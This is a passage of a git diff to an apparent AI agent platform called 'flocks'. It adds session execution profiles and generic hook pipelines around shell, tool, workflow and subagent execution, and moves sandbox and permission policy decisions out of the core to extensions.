import PROFILE_METADATA_KEY + if request.projectID and request.projectID not in { DEFAULT_PROJECT_ID, TASK_SESSION_GROUP_ID, @@ -1078,6 +1080,13 @@ async def create_session(http_request: Request, request: Optional[SessionCreateR owner_username=(parent_session.owner_username if parent_session else current_user.username), model_auto=request.model_auto, model_pinned=False, + metadata={ + PROFILE_METADATA_KEY: { + "entry": "interactive", + "source": "webui.session.create", + "permission_mode": "require-confirm", + } + }, **({"category": request.category} if request.category else {}), ) except ProjectDeletionError as exc: @@ -1086,6 +1095,21 @@ async def create_session(http_request: Request, request: Optional[SessionCreateR detail=str(exc), ) from exc Project.invalidate_session_stats() + try: + from flocks.hooks.pipeline import HookPipeline + from flocks.session.execution_profile import get_session_execution_profile + + profile = await get_session_execution_profile(session.id) + await HookPipeline.run_action_before( + { + "operation": "session.mode.initialize", + "session_id": session.id, + "entry": "interactive", + "session_execution_profile": profile or {}, + } + ) + except Exception: + pass log.info("session.created", {"session_id": session.id}) try: @@ -2652,38 +2676,42 @@ def _schedule_background_coro( session_id: Optional[str] = None, action: str = "session.background", ) -> None: - """Schedule a background coroutine with unified error reporting.""" + """Schedule a background coroutine with its opaque execution context.""" import asyncio + from flocks.hooks.execution import current_execution_context, execution_context_scope + + execution_context = current_execution_context() async def _guarded_coro() -> None: - try: - await coro - except Exception as exc: - log.error("session.background.error", { - "sessionID": session_id, - "action": action, - "error": str(exc), - "error_type": type(exc).__name__, - }) - if session_id: - from flocks.server.routes.event import publish_event + with execution_context_scope(execution_context): + try: + await coro + except Exception as exc: + log.error("session.background.error", { + "sessionID": session_id, + "action": action, + "error": str(exc), + "error_type": type(exc).__name__, + }) + if session_id: + from flocks.server.routes.event import publish_event - try: - await publish_event("session.error", { - "sessionID": session_id, - "error": { - "name": type(exc).__name__, - "message": str(exc), - "data": {"message": str(exc), "action": action}, - }, - }) - except Exception as publish_exc: - log.error("session.background.error.publish_failed", { - "sessionID": session_id, - "action": action, - "error": str(publish_exc), - "error_type": type(publish_exc).__name__, - }) + try: + await publish_event("session.error", { + "sessionID": session_id, + "error": { + "name": type(exc).__name__, + "message": str(exc), + "data": {"message": str(exc), "action": action}, + }, + }) + except Exception as publish_exc: + log.error("session.background.error.publish_failed", { + "sessionID": session_id, + "action": action, + "error": str(publish_exc), + "error_type": type(publish_exc).__name__, + }) task = asyncio.get_running_loop().create_task(_guarded_coro()) _track_background_task(task, session_id=session_id) @@ -4191,6 +4219,7 @@ def _event_from_queued_prompt(item, working_directory: str): async def _drain_prompt_queue_locked(session_id: str, working_directory: str) -> bool: + from flocks.hooks.execution import execution_context_scope from flocks.project.bootstrap import instance_bootstrap from flocks.project.instance import Instance from flocks.session.interaction_queue import InteractionQueue @@ -4216,11 +4245,17 @@ async def _drain_prompt_queue_locked(session_id: str, working_directory: str) -> "sessionID": session_id, "queueID": item.id, }) - await Instance.provide( - directory=working_directory, - init=instance_bootstrap, - fn=lambda: _dispatch_sse_input(session_id, session, event, working_directory), - ) + # A queue item may be dispatched by a different worker task than the + # request that submitted it. Restore the item's captured context (e.g. + # trusted identity transfer) and never inherit unrelated worker state. + with execution_context_scope(item.execution_context or {}, inherit=False): + await Instance.provide( + directory=working_directory, + init=instance_bootstrap, + fn=lambda: _dispatch_sse_input( + session_id, session, event, working_directory + ), + ) async def _run_prompt_event_chain(session_id: str, session, event, working_directory: str) -> None: @@ -4529,6 +4564,7 @@ async def _enqueue_prompt_request( expected_generation: Optional[int] = None, ): from flocks.session.interaction_queue import InteractionQueue + from flocks.hooks.execution import current_execution_context _validate_execution_mode_request(request) if expected_generation is None: @@ -4536,6 +4572,7 @@ async def _enqueue_prompt_request( await _require_agent_usable_for_chat(request.agent) model = request.model.model_dump(by_alias=True) if request.model else None parts = _materialize_queued_parts(session_id, [dict(part) for part in request.parts]) + execution_context = current_execution_context() return await _persist_active_session_write( session_id, lambda: InteractionQueue.enqueue( @@ -4551,6 +4588,7 @@ async def _enqueue_prompt_request( tools=request.tools, system=request.system, execution_mode=request.execution_mode, + execution_context=execution_context, ), expected_generation=expected_generation, ) @@ -4903,6 +4941,7 @@ class ShellRequest(BaseModel): ) async def run_shell_command(sessionID: str, request: ShellRequest, http_request: Request): """Run shell command""" + from flocks.hooks.execution import ExecutionStopped from flocks.session.runner import SessionRunner current_user = require_user(http_request) @@ -4936,6 +4975,13 @@ async def run_shell_command(sessionID: str, request: ShellRequest, http_request: status_code=status.HTTP_409_CONFLICT, detail=str(exc), ) from exc + except ExecutionStopped as exc: + # A generic extension lifecycle may stop this operation. Keep the + # response stable without interpreting extension-specific policy data. + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="execution stopped by extension", + ) from exc log.info("session.shell.executed", { "sessionID": sessionID, diff --git a/flocks/server/routes/skill.py b/flocks/server/routes/skill.py index 28d0e3d7f..ffd34677b 100644 --- a/flocks/server/routes/skill.py +++ b/flocks/server/routes/skill.py @@ -16,6 +16,7 @@ from flocks.skill.installer import SkillInstaller, SkillInstallResult, DepInstallResult from flocks.command.command import API_SURFACES, Command, CommandInfo from flocks.server.auth import require_user +from flocks.server.routes.action_lifecycle import ActionLifecycleRouter from flocks.storage.storage import Storage from flocks.utils.log import Log @@ -38,7 +39,7 @@ def _is_user_managed_skill(skill: SkillInfo) -> bool: return False -router = APIRouter() +router = ActionLifecycleRouter(lifecycle_domain="skill") log = Log.create(service="skill-routes") diff --git a/flocks/server/routes/tool.py b/flocks/server/routes/tool.py index 281b8e813..0fb3ac4bc 100644 --- a/flocks/server/routes/tool.py +++ b/flocks/server/routes/tool.py @@ -14,6 +14,7 @@ from flocks.server.routes._timing import log_route_timing from flocks.utils.log import Log from flocks.config.config_writer import ConfigWriter +from flocks.permission.interactive import legacy_tool_permission_prompt_required from flocks.permission.next import DeniedError, PermissionNext from flocks.tool.registry import ( ToolRegistry, @@ -479,10 +480,12 @@ def _build_http_tool_context( if session_id: async def permission_callback(request) -> None: + if not legacy_tool_permission_prompt_required(): + return metadata = dict(request.metadata or {}) metadata.setdefault("messageID", effective_message_id) metadata.setdefault("route", "tool.execute") - await PermissionNext.ask( + reply = await PermissionNext.ask( session_id=session_id, permission=request.permission, patterns=list(request.patterns or []), @@ -491,6 +494,8 @@ async def permission_callback(request) -> None: always=list(request.always or []), tool={"name": tool_name}, ) + if reply in {"deny", "reject", "never"}: + raise PermissionError(f"Permission denied: {request.permission}") return ToolContext( session_id=session_id, diff --git a/flocks/server/routes/workflow.py b/flocks/server/routes/workflow.py index dce2cb020..99b3d87e2 100644 --- a/flocks/server/routes/workflow.py +++ b/flocks/server/routes/workflow.py @@ -9,12 +9,14 @@ import asyncio import hashlib import hmac +import inspect import json import os import shutil import threading import time from dataclasses import dataclass +from functools import wraps from pathlib import Path from typing import List, Optional, Any, Dict, Literal from fastapi import APIRouter, Body, HTTPException, Request, status, Query @@ -89,14 +91,58 @@ syslog_trigger_to_legacy_config, ) from flocks.config.config import Config +from flocks.hooks.execution import current_execution_context, execute_with_hooks from flocks.storage.storage import Storage from flocks.server.routes.event import publish_event from flocks.tool import ToolContext from flocks.utils.log import Log -router = APIRouter() -webhook_router = APIRouter() + +def _workflow_operation_payload(endpoint, args: tuple[Any, ...], kwargs: Dict[str, Any]) -> Dict[str, Any]: + try: + arguments = inspect.signature(endpoint).bind_partial(*args, **kwargs).arguments + except TypeError: + arguments = dict(kwargs) + return { + "operation": f"workflow.{endpoint.__name__}", + "arguments": dict(arguments), + } + + +def _wrap_workflow_operation(endpoint): + @wraps(endpoint) + async def _wrapped(*args, **kwargs): + return await execute_with_hooks( + _workflow_operation_payload(endpoint, args, kwargs), + lambda: endpoint(*args, **kwargs), + ) + + return _wrapped + + +class _WorkflowLifecycleRouter(APIRouter): + """Attach the generic action lifecycle to workflow mutations.""" + + def api_route(self, path: str, *args, **kwargs): + methods = kwargs.get("methods") or [] + method_set = {str(method).upper() for method in methods} + base_decorator = super().api_route(path, *args, **kwargs) + + def _decorate(endpoint): + wrapped = ( + _wrap_workflow_operation(endpoint) + if method_set & {"POST", "PUT", "PATCH", "DELETE"} + else endpoint + ) + base_decorator(wrapped) + return wrapped + + return _decorate + + +router = _WorkflowLifecycleRouter() +webhook_router = _WorkflowLifecycleRouter() log = Log.create(service="workflow-routes") _PROGRESS_FLUSH_EVERY_STEPS = 5 @@ -402,6 +448,10 @@ async def _build_workflow_tool_context( agent: Optional[str] = None, ) -> ToolContext: """Build a real ToolContext for workflow execution.""" + context_kwargs: Dict[str, Any] = {} + execution_context = current_execution_context() + if execution_context: + context_kwargs["execution_context"] = execution_context return await build_workflow_tool_context( workflow_id=workflow_id, action_name=action_name, @@ -409,6 +459,7 @@ async def _build_workflow_tool_context( message_id=message_id, agent=agent, event_publish_callback=publish_event, + **context_kwargs, ) diff --git a/flocks/session/callable_schema.py b/flocks/session/callable_schema.py index d54d1639b..699610647 100644 --- a/flocks/session/callable_schema.py +++ b/flocks/session/callable_schema.py @@ -15,6 +15,8 @@ get_session_callable_tools, initialize_session_callable_tools, ) +from flocks.hooks.pipeline import HookPipeline +from flocks.identity import get_current_subject from flocks.tool.registry import ToolRegistry @@ -74,6 +76,7 @@ async def list_session_callable_tool_infos( session_id: str, declared_tool_names: Optional[Iterable[str]] = None, *, + agent: str | None = None, step: int = 0, event_publish_callback: Optional[Callable[[str, Dict[str, Any]], Awaitable[None]]] = None, ) -> CallableSchemaResult: @@ -91,6 +94,46 @@ async def list_session_callable_tool_infos( effective_callable_names = set(callable_tool_names) | always_load_names tool_infos, enabled_count = resolve_callable_tool_infos(effective_callable_names) + projection_payload: Dict[str, Any] = { + "session_id": session_id, + "step": step, + "candidates": [ + { + "name": tool_info.name, + "description": tool_info.description, + "category": getattr(tool_info.category, "value", tool_info.category), + "source": tool_info.source, + } + for tool_info in tool_infos + ], + } + if agent: + projection_payload["agent"] = agent + try: + from flocks.session.execution_profile import get_session_execution_profile + + profile = await get_session_execution_profile(session_id) + if isinstance(profile, dict): + projection_payload["session_execution_profile"] = profile + except Exception: + pass + subject = get_current_subject() + if subject is not None: + # Subject is an opaque extension carrier. Flocks deliberately keeps + # its attributes nested and does not interpret them as policy fields. + projection_payload["subject"] = subject.model_dump() + + projection_ctx = await HookPipeline.run_capability_filter(projection_payload) + replacement = projection_ctx.output.get("candidates") + if isinstance(replacement, list): + candidate_by_name = {tool_info.name: tool_info for tool_info in tool_infos} + replacement_names = [ + item.get("name") + for item in replacement + if isinstance(item, dict) and isinstance(item.get("name"), str) + ] + tool_infos = [candidate_by_name[name] for name in replacement_names if name in candidate_by_name] + metadata = { "enabledToolCount": enabled_count, "callableToolCount": len(callable_tool_names), diff --git a/flocks/session/execution_profile.py b/flocks/session/execution_profile.py new file mode 100644 index 000000000..6e10c4f22 --- /dev/null +++ b/flocks/session/execution_profile.py @@ -0,0 +1,152 @@ +"""Session execution-profile helpers. + +Profiles are persisted inside ``SessionInfo.metadata`` under a stable key so +all execution entrypoints can read one canonical, trusted envelope. +""" + +from __future__ import annotations + +from datetime import datetime, timezone +from typing import TYPE_CHECKING, Any, Mapping + +if TYPE_CHECKING: + from flocks.session.session import SessionInfo + +PROFILE_METADATA_KEY = "sessionExecutionProfile" +PROFILE_VERSION = "v1" + + +def _now_iso() -> str: + return datetime.now(timezone.utc).isoformat() + + +def _as_list(value: Any) -> list[str]: + if not isinstance(value, (list, tuple, set)): + return [] + out: list[str] = [] + for item in value: + text = str(item or "").strip() + if text: + out.append(text) + return out + + +def default_execution_profile( + *, + session: "SessionInfo", + entry: str = "interactive", + visible_agents: list[str] | None = None, + default_agent: str | None = None, + actor_role: str | None = None, + actor_department: str | None = None, + source: str = "session.create", +) -> dict[str, Any]: + visible = _as_list(visible_agents) + default_agent_name = str(default_agent or "").strip() or str(session.agent or "").strip() + if visible and default_agent_name and default_agent_name not in visible: + default_agent_name = visible[0] + return { + "version": PROFILE_VERSION, + "session_id": str(session.id), + "project_id": str(session.project_id), + "entry": str(entry or "interactive"), + "visible_agents": visible, + "default_agent": default_agent_name, + "actor_role": str(actor_role or "").strip() or None, + "actor_department": str(actor_department or "").strip() or None, + "revision": 1, + "source": str(source or "session.create"), + "updated_at": _now_iso(), + } + + +def profile_from_session(session: "SessionInfo") -> dict[str, Any]: + metadata = dict(getattr(session, "metadata", {}) or {}) + raw_profile = ( + metadata.get(PROFILE_METADATA_KEY) + if isinstance(metadata.get(PROFILE_METADATA_KEY), Mapping) + else {} + ) + profile = dict(raw_profile) + if not profile: + profile = default_execution_profile(session=session) + profile.setdefault("version", PROFILE_VERSION) + profile["session_id"] = str(session.id) + profile["project_id"] = str(session.project_id) + profile["visible_agents"] = _as_list(profile.get("visible_agents")) + profile["default_agent"] = str( + profile.get("default_agent") or session.agent or "" + ).strip() + if profile["visible_agents"] and profile["default_agent"] not in profile["visible_agents"]: + profile["default_agent"] = profile["visible_agents"][0] + profile["entry"] = str(profile.get("entry") or "interactive") + profile["revision"] = int(profile.get("revision") or 1) + profile["source"] = str(profile.get("source") or "session.create") + profile.setdefault("updated_at", _now_iso()) + return profile + + +def merge_profile( + session: "SessionInfo", + *, + patch: Mapping[str, Any], + source: str, +) -> dict[str, Any]: + current = profile_from_session(session) + merged = dict(current) + merged.update(dict(patch)) + merged["visible_agents"] = _as_list(merged.get("visible_agents")) + merged["default_agent"] = str( + merged.get("default_agent") or session.agent or "" + ).strip() + if merged["visible_agents"] and merged["default_agent"] not in merged["visible_agents"]: + merged["default_agent"] = merged["visible_agents"][0] + merged["entry"] = str(merged.get("entry") or "interactive") + merged["session_id"] = str(session.id) + merged["project_id"] = str(session.project_id) + merged["version"] = PROFILE_VERSION + merged["revision"] = int(current.get("revision") or 1) + 1 + merged["source"] = str(source or "session.profile.update") + merged["updated_at"] = _now_iso() + return merged + + +def with_profile_metadata( + metadata: Mapping[str, Any] | None, + profile: Mapping[str, Any], +) -> dict[str, Any]: + merged = dict(metadata or {}) + merged[PROFILE_METADATA_KEY] = dict(profile) + return merged + + +async def get_session_execution_profile(session_id: str) -> dict[str, Any] | None: + from flocks.session.session import Session + + session = await Session.get_by_id(str(session_id or "").strip()) + if session is None: + return None + return profile_from_session(session) + + +async def upsert_session_execution_profile( + session_id: str, + *, + patch: Mapping[str, Any], + source: str, +) -> dict[str, Any] | None: + from flocks.session.session import Session + + session = await Session.get_by_id(str(session_id or "").strip()) + if session is None: + return None + merged_profile = merge_profile(session, patch=patch, source=source) + metadata = with_profile_metadata(session.metadata, merged_profile) + updated = await Session.update( + session.project_id, + session.id, + metadata=metadata, + ) + if updated is None: + return None + return profile_from_session(updated) diff --git a/flocks/session/interaction_queue.py b/flocks/session/interaction_queue.py index ba240d4f7..c7c98ce6d 100644 --- a/flocks/session/interaction_queue.py +++ b/flocks/session/interaction_queue.py @@ -37,6 +37,7 @@ class QueuedPrompt(BaseModel): tools: Optional[Dict[str, bool]] = None system: Optional[str] = None executionMode: SessionExecutionMode = SessionExecutionMode.BUILD + execution_context: Optional[Dict[str, Any]] = None status: str = "pending" createdAt: int = Field(default_factory=lambda: int(time.time() * 1000)) updatedAt: int = Field(default_factory=lambda: int(time.time() * 1000)) @@ -73,6 +74,7 @@ async def enqueue( tools: Optional[Dict[str, bool]] = None, system: Optional[str] = None, execution_mode: SessionExecutionMode = SessionExecutionMode.BUILD, + execution_context: Optional[Dict[str, Any]] = None, ) -> QueuedPrompt: async with cls._lock_for(session_id): queue = cls._queues.setdefault(session_id, []) @@ -92,6 +94,11 @@ async def enqueue( tools=dict(tools) if tools else None, system=system, executionMode=execution_mode, + execution_context=( + dict(execution_context) + if isinstance(execution_context, dict) + else None + ), ) queue.append(item) return item diff --git a/flocks/session/runner.py b/flocks/session/runner.py index a84688c76..9883d9d6a 100644 --- a/flocks/session/runner.py +++ b/flocks/session/runner.py @@ -592,6 +592,7 @@ async def _list_callable_tool_infos_for_turn( result = await list_session_callable_tool_infos( session_id=self.session.id, declared_tool_names=getattr(agent, "tools", None), + agent=agent.name, step=self._step, event_publish_callback=self.callbacks.event_publish_callback, ) @@ -1130,76 +1131,96 @@ async def shell( raise ValueError(f"Session {session_id} not found") cwd = session.directory or os.getcwd() - - user_msg = await Message.create( - session_id=session_id, - role=MessageRole.USER, - content="The following tool was executed by the user", - agent=agent, - ) - - assistant_msg = await Message.create( - session_id=session_id, - role=MessageRole.ASSISTANT, - content="", - agent=agent, - parent_id=user_msg.id, - ) - - start_time = asyncio.get_event_loop().time() - try: - proc = await asyncio.create_subprocess_shell( - command, - stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, - cwd=cwd, + + async def _effect() -> Dict[str, Any]: + user_msg = await Message.create( + session_id=session_id, + role=MessageRole.USER, + content="The following tool was executed by the user", + agent=agent, ) - stdout_bytes, stderr_bytes = await asyncio.wait_for( - proc.communicate(), timeout=300, + + assistant_msg = await Message.create( + session_id=session_id, + role=MessageRole.ASSISTANT, + content="", + agent=agent, + parent_id=user_msg.id, ) - output = (stdout_bytes or b"").decode("utf-8", errors="replace") + \ - (stderr_bytes or b"").decode("utf-8", errors="replace") - exit_code = proc.returncode or 0 - except asyncio.TimeoutError: - output = "Command timed out after 300 seconds" - exit_code = -1 + + start_time = asyncio.get_event_loop().time() try: - proc.kill() - except Exception as _kill_err: - log.debug("runner.shell.kill_failed", {"error": str(_kill_err)}) - except Exception as e: - output = f"Error executing command: {str(e)}" - exit_code = -1 - - end_time = asyncio.get_event_loop().time() - - log.info("runner.shell", { - "session_id": session_id, - "command": command[:50], - "exit_code": exit_code, - "duration_ms": int((end_time - start_time) * 1000), - }) - - return { - "info": { - "id": assistant_msg.id, - "sessionID": session_id, - "role": "assistant", + proc = await asyncio.create_subprocess_shell( + command, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + cwd=cwd, + ) + stdout_bytes, stderr_bytes = await asyncio.wait_for( + proc.communicate(), timeout=300, + ) + output = (stdout_bytes or b"").decode("utf-8", errors="replace") + \ + (stderr_bytes or b"").decode("utf-8", errors="replace") + exit_code = proc.returncode or 0 + except asyncio.TimeoutError: + output = "Command timed out after 300 seconds" + exit_code = -1 + try: + proc.kill() + except Exception as _kill_err: + log.debug("runner.shell.kill_failed", {"error": str(_kill_err)}) + except Exception as e: + output = f"Error executing command: {str(e)}" + exit_code = -1 + + end_time = asyncio.get_event_loop().time() + + log.info("runner.shell", { + "session_id": session_id, + "command": command[:50], + "exit_code": exit_code, + "duration_ms": int((end_time - start_time) * 1000), + }) + + return { + "info": { + "id": assistant_msg.id, + "sessionID": session_id, + "role": "assistant", + "agent": agent, + }, + "parts": [{ + "id": Identifier.create("part"), + "messageID": assistant_msg.id, + "sessionID": session_id, + "type": "tool", + "tool": "bash", + "state": { + "status": "completed", + "input": {"command": command}, + "output": output, + }, + }], + } + + # Flocks does not interpret the command or decide whether it is safe; + # this payload is a neutral lifecycle carrier for installed extensions. + from flocks.hooks.execution import execute_with_hooks + + return await execute_with_hooks( + { + "operation": "session.shell", + "session_id": session_id, "agent": agent, - }, - "parts": [{ - "id": Identifier.create("part"), - "messageID": assistant_msg.id, - "sessionID": session_id, - "type": "tool", - "tool": "bash", - "state": { - "status": "completed", - "input": {"command": command}, - "output": output, + "execution_domain": "execution_runtime", + "resource": {"type": "command", "id": "session.shell"}, + "tool": { + "name": "shell", + "input": {"command": command, "workdir": cwd}, }, - }], - } + }, + _effect, + ) def abort(self) -> None: """Signal abort to stop the loop.""" @@ -3811,35 +3832,28 @@ async def _handle_permission(self, request) -> None: "patterns": list(getattr(request, "patterns", None) or []), }) - from flocks.permission.next import PermissionNext - from flocks.permission.rule import PermissionRule, PermissionLevel + from flocks.permission.interactive import legacy_tool_permission_prompt_required - session_rules: List[PermissionRule] = [] - for rule in getattr(self.session, "permission", None) or []: - raw_level = getattr(rule, "action", None) or getattr(rule, "level", None) or "ask" - try: - level = PermissionLevel(str(raw_level)) - except Exception: - level = PermissionLevel.ASK - session_rules.append(PermissionRule( - permission=getattr(rule, "permission", "*"), - level=level, - pattern=getattr(rule, "pattern", "*"), - )) + if not legacy_tool_permission_prompt_required(): + return + + from flocks.permission.next import PermissionNext metadata = dict(getattr(request, "metadata", None) or {}) metadata.setdefault("messageID", getattr(request, "message_id", "") or "") metadata.setdefault("sessionID", self.session.id) - await PermissionNext.ask( + reply = await PermissionNext.ask( session_id=self.session.id, permission=request.permission, patterns=list(getattr(request, "patterns", None) or []), - ruleset=session_rules, + ruleset=[], metadata=metadata, always=list(getattr(request, "always", None) or []), tool={"name": request.permission}, ) + if reply in {"deny", "reject", "never"}: + raise PermissionError(f"Permission denied: {request.permission}") async def run_session( diff --git a/flocks/session/session.py b/flocks/session/session.py index 67bfc0ddc..d4352c36b 100644 --- a/flocks/session/session.py +++ b/flocks/session/session.py @@ -440,6 +440,23 @@ async def create( else: kwargs.setdefault("owner_user_id", API_TOKEN_SERVICE_USER_ID) kwargs.setdefault("owner_username", API_TOKEN_SERVICE_USER_ID) + + # Ensure every session carries a canonical execution profile envelope. + from flocks.session.execution_profile import ( + PROFILE_METADATA_KEY, + ) + metadata = dict(kwargs.get("metadata") or {}) + if PROFILE_METADATA_KEY not in metadata: + metadata[PROFILE_METADATA_KEY] = { + "version": "v1", + "entry": "interactive", + "visible_agents": [], + "default_agent": str(kwargs.get("agent") or "").strip(), + "revision": 1, + "source": "session.create", + "updated_at": datetime.now().astimezone().isoformat(), + } + kwargs["metadata"] = metadata async def persist(parent: Optional[SessionInfo] = None) -> SessionInfo: if parent_id is not None: diff --git a/flocks/session/streaming/stream_processor.py b/flocks/session/streaming/stream_processor.py index 459859610..58985b5c5 100644 --- a/flocks/session/streaming/stream_processor.py +++ b/flocks/session/streaming/stream_processor.py @@ -1296,7 +1296,6 @@ async def _resolve_sandbox_meta(self, tool_name: str) -> Dict[str, Any]: from flocks.sandbox.context import resolve_sandbox_context from flocks.sandbox.config import resolve_sandbox_config_for_agent from flocks.sandbox.runtime_status import resolve_sandbox_runtime_status - from flocks.sandbox.tool_policy import is_tool_allowed from flocks.sandbox.types import BashSandboxConfig if self._sandbox_runtime_cache is None: @@ -1312,6 +1311,10 @@ async def _resolve_sandbox_meta(self, tool_name: str) -> Dict[str, Any]: if not runtime.sandboxed: return result + # Sandbox tool constraints are Pro-owned policy input. OSS does + # not normalize, merge, or decide against this raw metadata. + result["extra"]["sandbox_tool_policy"] = runtime.tool_policy_metadata + if self._sandbox_config_cache is None: config_data = await self._load_config_data() self._sandbox_config_cache = resolve_sandbox_config_for_agent( @@ -1319,14 +1322,6 @@ async def _resolve_sandbox_meta(self, tool_name: str) -> Dict[str, Any]: agent_id=self.agent.name, ) - if not is_tool_allowed(runtime.tool_policy, tool_name): - result["blocked"] = True - result["error"] = ( - f"Tool '{tool_name}' is blocked by sandbox tool policy. " - "Update sandbox.tools.allow/deny in ~/.flocks/config/flocks.json if needed." - ) - return result - # Sandbox metadata is needed for sandbox-aware tools, including workflow # entrypoint so workflow runtime can execute python nodes in sandbox. if tool_name not in {"bash", "read", "write", "edit", "run_workflow"}: @@ -1352,12 +1347,10 @@ async def _resolve_sandbox_meta(self, tool_name: str) -> Dict[str, Any]: container_workdir=sandbox_ctx.container_workdir, env=sandbox_ctx.docker.env, ) - result["extra"] = { - "sandbox": { - **sandbox.model_dump(exclude_none=True), - "workspace_access": sandbox_ctx.workspace_access, - "agent_workspace_dir": sandbox_ctx.agent_workspace_dir, - } + result["extra"]["sandbox"] = { + **sandbox.model_dump(exclude_none=True), + "workspace_access": sandbox_ctx.workspace_access, + "agent_workspace_dir": sandbox_ctx.agent_workspace_dir, } elevated_cfg = getattr(self._sandbox_config_cache, "elevated", None) if elevated_cfg and elevated_cfg.enabled: diff --git a/flocks/session/tool_execution.py b/flocks/session/tool_execution.py new file mode 100644 index 000000000..357486b37 --- /dev/null +++ b/flocks/session/tool_execution.py @@ -0,0 +1,45 @@ +"""Core helpers for unified session tool-execution payloads.""" + +from __future__ import annotations + +from typing import Any, Mapping + +from flocks.session.execution_profile import get_session_execution_profile + + +async def build_session_tool_execution_payload( + *, + session_id: str, + message_id: str, + agent: str, + tool_name: str, + tool_input: Mapping[str, Any] | None, + tool_context_extra: Mapping[str, Any] | None = None, + execution_domain: str = "execution_runtime", +) -> dict[str, Any]: + """Build one canonical payload used by all tool execution entrypoints.""" + extra = dict(tool_context_extra or {}) + if not isinstance(extra.get("session_execution_profile"), dict): + profile = await get_session_execution_profile(session_id) + if isinstance(profile, dict): + extra["session_execution_profile"] = profile + return { + "operation": "tool.execute", + "execution_domain": str(execution_domain or "execution_runtime"), + "entry": str( + ( + (extra.get("session_execution_profile") or {}).get("entry") + if isinstance(extra.get("session_execution_profile"), Mapping) + else "" + ) + or "unknown" + ), + "tool": { + "name": tool_name, + "input": dict(tool_input or {}), + }, + "session_id": session_id, + "message_id": message_id, + "agent": agent, + "tool_context_extra": extra, + } diff --git a/flocks/task/executor.py b/flocks/task/executor.py index d356fd58c..01870c7cb 100644 --- a/flocks/task/executor.py +++ b/flocks/task/executor.py @@ -165,6 +165,8 @@ async def _trigger_workflow( cls, execution: TaskExecution, scheduler: TaskScheduler ) -> Optional[str]: from flocks.workflow.fs_store import read_workflow_from_fs + from flocks.workflow.tool_context import build_workflow_tool_context + from flocks.hooks.execution import current_execution_context if not execution.workflow_id: raise ValueError("workflow execution_mode requires workflow_id") @@ -173,11 +175,21 @@ async def _trigger_workflow( raise FileNotFoundError(f"Workflow not found: {execution.workflow_id}") snapshot = execution.execution_input_snapshot or {} inputs = snapshot.get("context") or scheduler.context or {} + context_kwargs: dict[str, Any] = {} + execution_context = current_execution_context() + if execution_context: + context_kwargs["execution_context"] = execution_context + tool_context = await build_workflow_tool_context( + workflow_id=execution.workflow_id, + action_name="task", + **context_kwargs, + ) result = await asyncio.to_thread( cls._run_workflow_sync, execution.id, workflow_data["workflowJson"], inputs, + tool_context, ) result_status = getattr(result, "status", None) if result_status == "CANCELLED": @@ -194,6 +206,7 @@ def _run_workflow_sync( execution_id: str, workflow: dict[str, Any], inputs: Dict[str, Any], + tool_context: Any = None, ): from flocks.workflow.runner import run_workflow @@ -208,6 +221,7 @@ def _run_workflow_sync( inputs=inputs, timeout_s=_TASK_ABSOLUTE_TIMEOUT_S, cancel=cancel_event.is_set, + tool_context=tool_context, ) finally: done_event.set() diff --git a/flocks/tool/agent/delegate_task.py b/flocks/tool/agent/delegate_task.py index 0ee80c8df..00a5a5774 100644 --- a/flocks/tool/agent/delegate_task.py +++ b/flocks/tool/agent/delegate_task.py @@ -20,6 +20,8 @@ # 使用轻量级元数据查询，避免循环依赖 from flocks.agent.registry import is_delegatable from flocks.skill.skill import Skill +from flocks.hooks.execution import execute_with_hooks +from flocks.hooks.pipeline import HookPipeline from flocks.tool.subagent_result import ( _extract_message_error, format_sync_subagent_result, @@ -387,6 +389,15 @@ def _derive_task_description( description="Optional model override (provider/model or model)", required=False, ), + ToolParameter( + name="permission_mode", + type=ParameterType.STRING, + description=( + "Optional child session mode: readonly, require-confirm, or " + "auto-allow-all. Omit to inherit the parent session mode." + ), + required=False, + ), ], ) async def delegate_task_tool( @@ -403,6 +414,7 @@ async def delegate_task_tool( session_id: Optional[str] = None, command: Optional[str] = None, model: Optional[str] = None, + permission_mode: Optional[str] = None, ) -> ToolResult: if run_in_background: return ToolResult( @@ -417,6 +429,8 @@ async def delegate_task_tool( if not prompt: return ToolResult(success=False, error="prompt is required") + requested_permission_mode = str(permission_mode or "").strip().lower() + load_skills = [str(name).strip() for name in (load_skills or []) if str(name).strip()] description = _derive_task_description(description, prompt, subagent_type, session_id) if not subagent_type and not session_id: @@ -426,7 +440,11 @@ async def delegate_task_tool( permission="delegate_task", patterns=[subagent_type or "continue"], always=["*"], - metadata={"description": description, "subagent_type": subagent_type}, + metadata={ + "description": description, + "subagent_type": subagent_type, + "permission_mode": requested_permission_mode or None, + }, ) # Dedup: if an identical delegate_task already completed in this session, @@ -523,6 +541,21 @@ async def delegate_task_tool( model_pinned=True, ) created = await Session.create(**create_kwargs) + try: + from flocks.session.execution_profile import upsert_session_execution_profile + + await upsert_session_execution_profile( + created.id, + patch={ + "entry": "delegate", + "parent_session_id": parent_session.id, + "requested_permission_mode": requested_permission_mode or None, + "default_agent": agent_to_use, + }, + source="delegate_task.child_metadata", + ) + except Exception: + pass if ctx.extra.get("workflow_temp_parent") is True: ctx.extra["workflow_child_session_created"] = True await Message.create( @@ -539,19 +572,40 @@ async def delegate_task_tool( description=description, ) ctx.metadata({"title": description, "metadata": {"sessionId": created.id, "status": "running"}}) - result = await _run_subagent_with_hooks( - ctx=ctx, - child_session_id=created.id, - child_agent=agent_to_use, - workspace=runtime_directory, - prompt=full_prompt, - description=description, - resumed=False, - provider_id=(explicit_model or {}).get("providerID"), - model_id=(explicit_model or {}).get("modelID"), - callbacks=forwarder.build_callbacks( - event_publish_callback=ctx.event_publish_callback, + parent_profile_snapshot: dict[str, Any] = {} + try: + from flocks.session.execution_profile import get_session_execution_profile + + profile = await get_session_execution_profile(parent_session.id) + if isinstance(profile, dict): + parent_profile_snapshot = dict(profile) + except Exception: + pass + child_payload = { + "operation": "session.child.run", + "parent_session_id": parent_session.id, + "child_session_id": created.id, + "requested_permission_mode": requested_permission_mode or None, + "parent_session_profile": parent_profile_snapshot, + } + result = await execute_with_hooks( + child_payload, + lambda: _run_subagent_with_hooks( + ctx=ctx, + child_session_id=created.id, + child_agent=agent_to_use, + workspace=runtime_directory, + prompt=full_prompt, + description=description, + resumed=False, + provider_id=(explicit_model or {}).get("providerID"), + model_id=(explicit_model or {}).get("modelID"), + callbacks=forwarder.build_callbacks( + event_publish_callback=ctx.event_publish_callback, + ), ), + before=HookPipeline.run_session_child_before, + 